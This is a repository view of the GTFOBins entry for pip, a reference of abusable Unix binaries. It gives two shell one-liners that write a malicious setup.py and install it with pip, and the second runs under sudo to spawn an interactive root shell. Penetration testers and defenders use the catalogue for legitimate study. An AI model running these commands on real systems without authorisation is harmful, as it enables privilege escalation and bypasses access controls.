Files
GTFOBins.github.io/_gtfobins/pip.md
2018-09-27 12:58:29 +02:00

521 B

description, functions
description functions
More generally, this allows to execute arbitrary Python code. See the [Python](/gtfobins/python/) functions.
execute-interactive sudo-enabled
code
TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py pip install $TF
code
TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF